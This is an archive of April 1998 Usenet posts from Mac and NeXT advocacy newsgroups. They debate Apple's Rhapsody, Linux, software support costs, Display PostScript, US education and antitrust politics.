> Rhapsody running on Mach 3.0 doing SMP on a G4 and, with hardware similar
> to their AIX servers, and the right marketing push and price-point, make
> some headway into the workstation market.
The issue there is credibility as I see it. Apple simply isn't a Unix
vendor.
> And I'm not even going to get into the FreeBSD/OpenBSD/NetBSD/BSDi/Linux
> aspect to this whole equation.
That is my point of curiousity though. I've heard anything up to 5 million
users of free Unixen, that's a good market space.
> However things pan out, nothing happens overnight in the UNIX workstation
> market.
True.
Maury
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 21:24:04 GMT
Organization: Indiana University, Bloomington
Message-ID: <6h38hk$dv6$1@flotsam.uits.indiana.edu>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h1r44$os8$4@ns3.vrx.net> <6h2fe0$9ju$1@jetsam.uits.indiana.edu> <6h1vtt$os8$15@ns3.vrx.net>
In article <6h1vtt$os8$15@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <6h2fe0$9ju$1@jetsam.uits.indiana.edu> Gregory Loren Hansen claimed:
>> How can support costs be exponential?
>
> Each product sold generates a fixed number of calls. Every support staffer
>can handle a fixed number of calls (the industry norm is 25, at the high
>point I was handling about 50 and going insane doing it). What happens is
>two fold - one you need to cover your calls and if you sell twice as much
>product and you're in a sweet spot, you may need 3 or 4 times the number of
>people.
>
> The other issue is the big one - sales at some point stop outpacing
>installed base. Makes a sales graph (typically linear or bumpy) and the
>installed base is the area under the sales curve. This means that unless
>sales are exponential forever, at some point you have more people making
>support calls than you do buying new product. The faster your sales grow the
>faster this time comes.
And the light-bulb turns on!
>This is why to often see free support to start,
>going pay once the installed base of the product becomes so large that
>support is a finacial drain on the company.
>
> At the "low end" support costs you nothing - the developers do it. At the
>high end it's a millions-a-year cost. It becomes the later at the point
>where sales no longer outpace installed base, which means it becomes more
>noticable too.
But as you've noted above, couldn't the company simply start charging for
support? I mean, what are businesses and consumers going to do about it,
switch from Windows to MacOS or Linux because they have to pay $15 for
every call they make to tech support? (We might hope they switch anyway,
but it's not going to be for the phone bill.) If you can charge enough to
cover costs (or even profit!), but not so much that you drive people away,
there's no reason not to be big.
Or direct calls to the manufacturer of your computer, like Apple did to me
when I asked about my Power100, like Microsoft did to my brother when he
called about problems with Win95. That lets you pass off the problem to
someone else. But only possible for a small peice of the software market.
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 21:29:38 GMT
Organization: MiscKit Development
Message-ID: <6h38s2$neu$1@news.xmission.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17> <6h1946$e04$1@news.digifix.com> <B15999CB-D0FD2@207.217.155.17> <B159B91A-3498F@206.165.43.108> <joe.ragosta-1504980821190001@wil34.dol.net> <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de>
schuerig@acm.org (Michael Schuerig) wrote:
> An article on Stepwise,
> "Bundle up for a warm reception" by Don Yacktman, Aug 25, 1997 (see
> <http://www.stepwise.com/Articles/Technical/Bundles.html>), promises
> that
>
> <quote>
> ... an upcoming article will look at OpenDoc and its document-tools
> architecture in more detail, including a plan by which a technology
> resembling OpenDoc could be built relatively easily using OPENSTEP
> bundles as a foundation.
> </quote>
>
> Did I miss it?
No, you didn't.
I'm one of the co-authors of the (soon to be) article. However, as Scott
pointed out, the work we do for Stepwise is unpaid, and sometimes other
priorities intervene. Sometimes tragedies (like losing the root [boot] hard
drive on your master network server) intervene. It happens.
I can't promise when you'll see the article, but I will say that we are
gettting close now. However, there have also been a lot of article
submissions to Stepwise (a sudden burst) and we have, therefore, nearly a
dozen articles that are passing through copy editing and staging processes.
Since I do a lot of the copy editing, my own material often gets pushed to
the back burner to allow us to get others' material out there as quickly as
possible. Which means that delays are still possible. Enough people have
asked about the OpenDoc article that it has become a fairly high priority on
my list, now...
If you want quality, these things take time, my friend. Be patient and
you'll be rewarded. There's some great stuff coming down the pike.
In the mean time, go read the new article Scott just put up on
http://www.stepwise.com/. Now.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 16:51:28 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35352BE0.6A5C@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h1r8v$os8$5@ns3.vrx.net>
<6h2os9$t1h$1@crib.bevc.blacksburg.va.us> <6h2ct8$88a$2@ns3.vrx.net>
<6h353h$thn$1@crib.bevc.blacksburg.va.us> <6h2m5g$fbp$2@ns3.vrx.net>
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Maury Markowitz wrote:
>
> In <6h353h$thn$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > (Out of curiosity, what do you think Linux has going for it that FreeBSD
> > doesn't?)
>
> Two things - market and mindshare, and EFS.
And GNU and Linus Torvalds and Alan Cox and Donald Becker and RedHat
Software...
> > Certainly -- but then you're directly up against Windows, and are no
> > longer competing in the areas where Unix is making most of its resurgence.
>
> Maybe maybe not. How many of those Linux boxes out there are run "part
> time" along with Win on the same platform? How many are client use stations
> rather than servers? Is that number worth Apple going after? Can they go
> after it?
>
> I'll bet that a good number of the client-side Linuxen out there are being
> used co-timed with Win. If Apple can provide a "pretty good at both worlds"
> solution, do you think it could work? Or is it doomed as another non-free
> software product?
Where do I sign up? I'm your first customer.
MJP (who just finished installing VC++ because, simply, Linux *can't* do
everything)
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: 15 Apr 1998 21:52:40 GMT
Message-ID: <01bd68f3$0ee25ee0$41f0bfa8@davidsul>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com>
Jason McNorton <jmcn@msg.ti.com> wrote in article
<MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com>...
>
> http://www.news.com/News/Item/0,4,21128,00.html?st.cn.fd.tkr.news
>
> The Mac IS a drain on companies. I started the "Weak Mac sales killing
> Adobe" thread and nobody believe it. Well, he we go again..
>
> "I don't like Adobe because of the Apple connection--I like it in spite
> of it," said Steven Frenkel, an analyst for Paragon Capital Corporation.
> "I doubt that Apple is the future of the graphic arts and video
> industries. Those people want to get to an open system and Windows NT.
> There's more software being written for NT."
Yes, and if Apple got its act together and sells rhapsody as a consumer
product this complaint will be meaningless.
And before JOey comes on and says "its FUD that apple has claimed that
rhapsody will only be a server os" Maybe this is true, but its also true
that Adobe has PUBLICLY stated that at this point they have no intention of
porting theeir products to rhapsody because "rhapsody is being portrayed as
a high end and server os"
Apple has discouraged Adobe, and this is really fuq'ed, especially since
that comment by Frenkel would be negated if adobe ran on rhapsody and the
yellow box
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 21:34:56 GMT
Organization: P & L Systems
Message-ID: <6h3960$9sp$6@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3>
<352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154>
<steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu>
<1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com>
<ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu>
<ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com>
<6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com>
<B159701C-344A1@207.217.155.17> <6h1946$e04$1@news.digifix.com>
<B15999CB-D0FD2@207.217.155.17> <B159B91A-3498F@206.165.43.108>
<joe.ragosta-1504980821190001@wil34.dol.net> <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de>
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Cc: schuerig@acm.org
In <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de> Michael Schuerig
wrote:
>
> An article on Stepwise,
> "Bundle up for a warm reception" by Don Yacktman, Aug 25, 1997 (see
> <http://www.stepwise.com/Articles/Technical/Bundles.html>), promises
> that
>
> <quote>
> ... an upcoming article will look at OpenDoc and its document-tools
> architecture in more detail, including a plan by which a technology
> resembling OpenDoc could be built relatively easily using OPENSTEP
> bundles as a foundation.
> </quote>
>
> Did I miss it?
>
It's freeware. It's coming, but in its own time. Maybe if you sent the
authors some money it would appear sooner...
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 21:42:14 GMT
Organization: P & L Systems
Message-ID: <6h39jm$9sp$7@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3>
<352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154>
<steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu>
<1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com>
<ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu>
<ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com>
<6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com>
<B159701C-344A1@207.217.155.17> <6h1946$e04$1@news.digifix.com>
<B15999CB-D0FD2@207.217.155.17> <B159B91A-3498F@206.165.43.108>
<joe.ragosta-1504980821190001@wil34.dol.net> <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de>
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Cc: schuerig@acm.org
In <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de> Michael Schuerig
wrote:
> BTW, are there numbers of how many people have been using it and how
> many people are using OpenStep or have been using OS half a year after
> its introduction?
>
No idea on numbers, but the answer will depend on whether you include ex-NeXT
seats and WebObjects deployments. OPENSTEP itself was introduced a couple of
years ago and there are many thousands of users of OPENSTEP products, whether
on OPENSTEP/Mach or Windows/NT, or as WebObjects applications on Mach, NT,
HP-UX or Solaris. This is solid, production quality technology that is being
used in some of the most demanding environments there are.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: 15 Apr 1998 21:29:10 GMT
Organization: P & L Systems
Message-ID: <6h38r6$9sp$5@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net>
<ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu>
<MPG.f9e0bd4339572849898ae@news.supernews.com> <6h2e54$oop$53@ironhorse.plsys.co.uk>
<6h2uuc$d8n$1@nnrp1.dejanews.com>
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Cc: mimbar98@hotmail.com
In <6h2uuc$d8n$1@nnrp1.dejanews.com> mimbar98@hotmail.com wrote:
> The problem with teachers in the US isn't that they're not attracting
enough
> people. On the contrary, the supply of teachers is very high which is why
> they aren't paid as highly as they could be. Bear in midn they only work 8
> months (when you subtract the considerable holidays) a year so if a teacher
> is making $40k, that's a lot per hour.
>
Ugh; most teachers over here don't make $40k a year -- most University staff
don't make that. However on behalf of my teaching friends I must take issue
with the implication that all teachers' holiday is real holiday. They do a
great deal of preparation work during the holidays, and a lot of otherwise
unpaid overtime during term as well.
Best wishes,
mmalc.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 22:24:42 GMT
Organization: I don't think so
Message-ID: <slrn6jad33.4a9.jason@jhste1.dyn.ml.org>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5>
John Kheit wrote:
>Wow, that seems a stretch. Last time I checked, constitutions were
>the product of a government body. Last time I checked, only Congress
>and the President in conjunction (barring a congressional override)
>can change the constitution. Only those branches of the *government*
>can and do amend the constitution.
Geez, what else are they teaching at your law school? Congress (or the
States) may _propose_ amendments, and the States may ratify. The President
has nothing to do with the process, at least not according to Article V of
the Constitution.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 17:28:26 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3535348A.3AA2@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <Rc1Z.14$p5.184704@news.itd.umich.edu> <3534C4EB.A26C0CBC@nstar.net> <Yi4Z.42$p5.301070@news.itd.umich.edu> <6h391f$d69$1@jetsam.uits.indiana.edu>
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Gregory Loren Hansen wrote:
> >This is irrelevant. Income redistribution was just an illustration. The
> >point is that a commitment to the regulation of natural monopolies does not
> >betray a commitment to Socialism. You could think that industrial
>
> Isn't the *creation* of monopolies an act of socialist governments?
It certainly is. In the name of anti-trust action, the U.S. Government
created the regulated telecommunications monopoly that has restrained
free trade for decades in this country. In the name of anti-trust action
and citing health risks, the U.S. Government is prepared to create a
regulated tobacco monopoly. Is anyone fooled about the ultimate goal in
both of these actions: increasing government revenue?
Moreover, the Justice Department appears prepared to act upon
"anti-trust" legislation in the Microsoft investigations. I invite any
who are truly curious about the natural and inevitable behavior of
government to watch carefully how the DoJ attempts to resolve this
"crisis".
The first sign that things are on track will be an attempt to limit the
commercial appeal of Microsoft products. Somehow, they will convince you
that this is actually in your best interest...
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 18:35:37 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6h3cnp$to7$1@crib.bevc.blacksburg.va.us>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2ct8$88a$2@ns3.vrx.net> <6h353h$thn$1@crib.bevc.blacksburg.va.us> <6h2m5g$fbp$2@ns3.vrx.net>
In article <6h2m5g$fbp$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> How many of those Linux boxes out there are run "part
> time" along with Win on the same platform? How many are client use stations
> rather than servers? Is that number worth Apple going after? Can they go
> after it?
>
> I'll bet that a good number of the client-side Linuxen out there are being
> used co-timed with Win.
Well, I can only give you my own personal experience: I know of quite a
few companies that have Linux boxes, especially smaller ones.
Invariably, those Linux boxes are used as full-time servers (mail
servers, firewalls, dial-up lines, etc.) The only place I know of that
has client-side Linux boxes that dual boot with Windows is the undergrad
computer lab at my alma mater (actually, I think they might have some
flavor of free *BSD, not Linux).
> If Apple can provide a "pretty good at both worlds"
> solution, do you think it could work? Or is it doomed as another non-free
> software product?
I dunno, where's their niche? If there really _are_ a number of
dual-boot Linux/Windows boxes, maybe. But it would also depend on
what those client-side Linuxes are _used_ for. If it's primarily for
a certain class of X apps, then Rhapsody probably won't take over (yes,
I know about the availability of X under Rhapsody, but it's not as good
as "native"). If it's just for generic, non-Windows client-side stuff
that you'll be able to find Rhapsody variants of, then Rhapsody could
make a dent since its client-side apps will likely be superior.
From: nhughes@sunflower.com (Nathan Hughes)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Tue, 14 Apr 1998 22:32:23 GMT
Organization: is a sign of a sick mind.
Message-ID: <3534e365.2369031@198.0.0.100>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <gmgraves-1504981051040001@sf-usr1-56-184.dialup.slip.net> <35352C35.D0691B0E@trilithon.com>
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On or about Wed, 15 Apr 1998 14:52:53 -0700, in comp.sys.mac.advocacy
Henry McGilton <henry@trilithon.com> exclaimed :
>George Graves wrote:
>
> <<<< list of reasons snipped for brevity >>>>
>
>7) Television. American kids spend an average of 30 hours
>per week watching television.
That would be a good thing if the were watching the History Channel.
I am really amazed at the educational value of SOME television. It's
too bad teachers can't make Ancient Egypt or Classical Greece as
interesting as some of the newer documentaries.
Nathan A. Hughes
MFA Candidate
The University Theatre KU
http://scenedesign.ml.org
From: p.kerr@auckland.ac.nz (Peter Kerr)
Newsgroups: comp.lang.postscript,comp.sys.next.advocacy
Subject: Re: Adobe dps-info Was:Re: End of Display PostScript?
Date: Thu, 16 Apr 1998 11:04:39 +1200
Organization: School of Music University of Auckland
Message-ID: <p.kerr-1604981104390001@news.auckland.ac.nz>
References: <ldo-2403981003100001@a24.hn1.wave.co.nz> <3519F50E.2E4C51B@trilithon.com> <1998Mar30.113319@lsl> <352C3C0F.5CB6E295@rs6000.cmp.ilstu.edu> <1998Apr9.095048@lsl> <p.kerr-1504981822550001@news.auckland.ac.nz>
> In article <1998Apr9.095048@lsl>, paul@lsl.co.uk (Paul Hardy) wrote:
> >
> > Has anyone seen anything recent and definitive from Adobe (or anyone else)
> > about the precise future status of DPS ?
I have MacGS510 from a magazine cover CD, but appears to be
indistinguishable from the Aladdin version available from
ftp://ftp.cs.wisc.edu/ghost/aladdin/gs510/
In the doc/ folder is a file newuser.txt which way down about half a page
from the bottom lists:
(quote)
******** Things you can do to help ********
There are some projects that users could do that are somewhat
decoupled from the main body of the code, and that would help improve
Ghostscript:
(snip)
- Adobe has donated the specification of the Display PostScript C
API to the X distribution, as well as the client-side implementation.
Modifying Ghostscript to interface with this code as a substitute for a
Display PostScript server might make Ghostscript a lot more useful, since
it would then be "plug compatible" with Display PostScript in an important
way. Contact ghost@aladdin.com if you would like to help with this.
(end quote)
This file is marked (c) 1997 Aladdin Enterprises and my information
suggests the file was created Tue 4 Nov 1997, 15:10
Now while this gives little hint as to the "precise future status" of DPS,
it allows at least two readings:
Adobe has washed their hands of it...
or Adobe has done the decent thing by giving it to an Open Software
distribution.
Either way if Adobe isn't making $$ from it, they won't be giving support,
yet in the long run support from the X people may be more valuable.
Also I don't think we've heard the last of it in connection with Apple's
Rhapsody system.
--
Peter Kerr bodger
School of Music chandler
University of Auckland NZ neo-Luddite
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 18:09:12 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h2t48$kco$1@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2ct8$88a$2@ns3.vrx.net>
<6h353h$thn$1@crib.bevc.blacksburg.va.us> <6h2m5g$fbp$2@ns3.vrx.net>
<6h3cnp$to7$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6h3cnp$to7$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> Well, I can only give you my own personal experience: I know of quite a
> few companies that have Linux boxes, especially smaller ones.
> Invariably, those Linux boxes are used as full-time servers (mail
> servers, firewalls, dial-up lines, etc.)
Yeah, and I don't see Apple getting a lot of room to move there. On the
other hand, it's certainly possible that having these as servers, combined
with NetInfo, that the _resistance_ to Rhapsody will be greatly lower than
other OS's - specifically in those shops and schools at least.
> The only place I know of that
> has client-side Linux boxes that dual boot with Windows is the undergrad
> computer lab at my alma mater (actually, I think they might have some
> flavor of free *BSD, not Linux).
Let me rephrase then, how many _client_ side Linux systems do you think are
out there? I get the feeling the majority of full-time Linux boxes are
servers. Does anyone have any real numbers?
> I dunno, where's their niche? If there really _are_ a number of
> dual-boot Linux/Windows boxes, maybe. But it would also depend on
> what those client-side Linuxes are _used_ for.
Yeah, for sure.
> as "native"). If it's just for generic, non-Windows client-side stuff
> that you'll be able to find Rhapsody variants of, then Rhapsody could
> make a dent since its client-side apps will likely be superior.
Hmmm.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 18:11:32 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h2t8k$kco$2@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2ct8$88a$2@ns3.vrx.net>
<6h353h$thn$1@crib.bevc.blacksburg.va.us> <6h2m5g$fbp$2@ns3.vrx.net>
<6h3cnp$to7$1@crib.bevc.blacksburg.va.us> <3535373D.1BD6@CONVEX.COM>
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Cc: ECK@CONVEX.COM
In <3535373D.1BD6@CONVEX.COM> Michael Peck claimed:
> Linux use is X-based, obviously. There is no fundamental reason for
> this, apart from the fact that XFree86 is, well, free. There is no
> reason to believe that Rhapsody could not storm the market for dual-boot
> Windows/Linux boxes, were it properly designed to do so.
From a technical standpoint yes. After three months of using it I can
state with no hesitation that this is the best commercial OS I've ever seen.
Power of Unix, stability of Unix (NO crashes. period. try THAT on NT!) and
the user friendlyness of the Mac.
> It wouldn't
> really take much effort, apart from *listening* to those customers.
I guess my question is whether or not there's some inherent resistance from
those users to ANY commercial OS?
Maury
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Wed, 15 Apr 1998 16:54:33 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1504981654340001@sf-usr1-20-148.dialup.slip.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <gmgraves-1504981051040001@sf-usr1-56-184.dialup.slip.net> <35352C35.D0691B0E@trilithon.com>
In article <35352C35.D0691B0E@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
> George Graves wrote:
>
> <<<< list of reasons snipped for brevity >>>>
>
> 7) Television. American kids spend an average of 30 hours
> per week watching television.
Perhaps today's television. I watched a lot of TV when I was a
kid too, it didn't seem to do my education any harm.
George Graves
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 18:00:14 -0700
Organization: Netcom
Message-ID: <fretwiz-1504981800140001@den-co5-24.ix.netcom.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <slrn6jade3.4a9.jason@jhste1.dyn.ml.org>
In article <slrn6jade3.4a9.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> No - you both misunderstand. The Constitution of the _federal_ government
> is under the control of the _state_ governments. Only the _states_ can
> amend the Constitution. The states are (at least in theory) distinct
> sovereign entities, beholden to their citizens.
>
> The states limit the power of the federal government, and the people
> limit the power of the states.
>
> Supposedly. Obviously the system has broken down a bit over the years.
The system hasn't broken down at all, the bureaucracy has found ways to
circumvent it, or neglect adherence to it entirely.
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 17:57:11 -0700
Organization: Netcom
Message-ID: <fretwiz-1504981757120001@den-co5-24.ix.netcom.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <Rc1Z.14$p5.184704@news.itd.umich.edu> <3534C4EB.A26C0CBC@nstar.net> <Yi4Z.42$p5.301070@news.itd.umich.edu> <6h391f$d69$1@jetsam.uits.indiana.edu> <3535348A.3AA2@CONVEX.COM>
In article <3535348A.3AA2@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
> It certainly is. In the name of anti-trust action, the U.S. Government
> created the regulated telecommunications monopoly that has restrained
> free trade for decades in this country. In the name of anti-trust action
> and citing health risks, the U.S. Government is prepared to create a
> regulated tobacco monopoly. Is anyone fooled about the ultimate goal in
> both of these actions: increasing government revenue?
>
> Moreover, the Justice Department appears prepared to act upon
> "anti-trust" legislation in the Microsoft investigations. I invite any
> who are truly curious about the natural and inevitable behavior of
> government to watch carefully how the DoJ attempts to resolve this
> "crisis".
>
> The first sign that things are on track will be an attempt to limit the
> commercial appeal of Microsoft products. Somehow, they will convince you
> that this is actually in your best interest...
>
> MJP
> --
> BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
This is small potatoes compared to what the U.S. government did to the
money in this country. No one is fooled, or at least shouldn't be...
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Wed, 15 Apr 1998 01:12:38 -0500
Organization: CE Software
Message-ID: <MPG.f9e0bd4339572849898ae@news.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu>
In article <rmcassid-1404981222220001@dante.eng.uci.edu>,
rmcassid@uci.edu says...
> The biggest problem with education in the US right now is a lack of
> dollars. If I could teach for what I make now (which isn't very much) I'd
> do it and I think a lot of other people would as well. But teaching isn't
> very rewarding when you can't afford housing. Education in the US has a
> lot of other problems as well, but dollars will solve some of the most
> destructive ones.
>
So it would seem, but pouring more money into systems just hasn't worked.
The public systems in the inner cities have had large amounts of money
given to them without any visible improvements.
Private schools, OTOH, spend far less per pupil and do a much better job
of educating students (at least by the measures we're discussing here).
One point made about why this happens is that the public schools have to
handle the troublemakers and problem students. My response would be
"exactly". If you screw up in a private school, you're out of there and
there are real consequences. If you screw up in a public school, you
stay anyway.
There's a growing Home Schooling trend, and the students there are
trouncing the public school students in the tests we're talking about.
Here in Iowa, some of the home schoolers wanted a high school degree from
the local school board, justifying it because the local schools did work
with the parents to approve the cirriculum and take standardized tests.
The school board turned them down, because the students "hadn't been
exposed to our school's diversity."
The main problem with our schools, IMHO, is attitudinal. Society's
attitudes, in our confusion about what we want the schools to be.
Parental attitudes, in no longer emphasizing the importance of performing
well in schools and learning in order to build a future. Student's
attitudes, in no longer taking (in many cases) this incredible gift of a
free education seriously.
If you have a sufficiently motivated student, nothing can stop him or her
from learning. Without that motivation, well, you can lead a horse to
water...
It'd be nice if the solution was "just add money". There probably are
situations where more money is needed. But, unless we fix the underlying
problems, we'll be just throwing good money after bad.
I know what spending money on the highways will get me (if spent well, at
least). I am not convinced that spending that money on education will
accomplish much. Not as things go along the way they are.
Donald
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 18:06:00 -0700
Organization: Netcom
